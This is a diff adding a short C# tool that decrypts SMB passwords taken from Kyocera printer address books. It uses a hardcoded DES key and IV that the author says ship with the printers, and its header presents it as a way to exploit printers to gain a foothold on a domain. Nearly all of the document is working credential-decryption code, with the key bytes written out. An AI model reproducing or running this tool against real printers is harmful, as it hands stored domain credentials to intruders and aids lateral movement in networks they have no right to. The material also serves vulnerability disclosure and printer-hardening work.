|
| 1 | +/* |
| 2 | +Exploiting printers to gain foothold on a domain. |
| 3 | +Kyocera Comes with a pre-bundled Key and IV |
| 4 | +This utility seeks to create a threat model around the weak encryption and misconfiguration of features for abuse |
| 5 | +Tested via: |
| 6 | +- Kyocera ECOSYS M2640idw |
| 7 | +- Kyocera 4550i |
| 8 | +It obeys : RFC2898 |
| 9 | +Author: Alien-within |
| 10 | +*/ |
| 11 | +using System; |
| 12 | +using System.Collections; |
| 13 | +using System.Collections.Generic; |
| 14 | +using System.Diagnostics; |
| 15 | +using System.Security; |
| 16 | +using System.Security.Cryptography; |
| 17 | +using System.Text; |
| 18 | +using System.IO; |
| 19 | +using System.Linq; |
| 20 | + |
| 21 | +public class Alienwithin |
| 22 | +{ |
| 23 | + public static void Main(string[] args) |
| 24 | + { |
| 25 | + System.Console.WriteLine("#################################################"); |
| 26 | + System.Console.WriteLine(" Kyocera AddressBook SMB Password Decryptor "); |
| 27 | + System.Console.WriteLine(" By Alien-Within "); |
| 28 | + System.Console.WriteLine("#################################################"); |
| 29 | + Console.WriteLine("Enter the value of SmbLoginPasswd field : "); |
| 30 | + string KyoceraSMBPass = Console.ReadLine(); |
| 31 | + try |
| 32 | + { |
| 33 | + DESCryptoServiceProvider AlienwithinDESProvider = new DESCryptoServiceProvider(); |
| 34 | + AlienwithinDESProvider.Mode = CipherMode.CBC; |
| 35 | + AlienwithinDESProvider.Padding = PaddingMode.None; |
| 36 | + var key = new byte[] { 0x41, 0xF4, 0xA3, 0x05, 0xF3, 0x8B, 0x46, 0x8F }; |
| 37 | + var iv = new byte[] { 0x01, 0x82, 0x0D, 0x0B, 0x38, 0x3E, 0xCB, 0x7C }; |
| 38 | + var data = StringToByteArray(KyoceraSMBPass.Trim()); |
| 39 | + |
| 40 | + MemoryStream AlienwithinMemoryStream = new MemoryStream(); |
| 41 | + |
| 42 | + CryptoStream CStream = new CryptoStream(AlienwithinMemoryStream, AlienwithinDESProvider.CreateDecryptor(key, iv), CryptoStreamMode.Write); |
| 43 | + CStream.Write(data, 0, data.Length); |
| 44 | + CStream.FlushFinalBlock(); |
| 45 | + Console.WriteLine(Encoding.Default.GetString(AlienwithinMemoryStream.ToArray())); |
| 46 | + |
| 47 | + } |
| 48 | + catch (Exception ex) |
| 49 | + { |
| 50 | + Console.WriteLine(ex.ToString()); |
| 51 | + } |
| 52 | + } |
| 53 | + public static byte[] StringToByteArray(string hex) { |
| 54 | + return Enumerable.Range(0, hex.Length) |
| 55 | + .Where(x => x % 2 == 0) |
| 56 | + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) |
| 57 | + .ToArray(); |
| 58 | + } |
| 59 | +} |
0 commit comments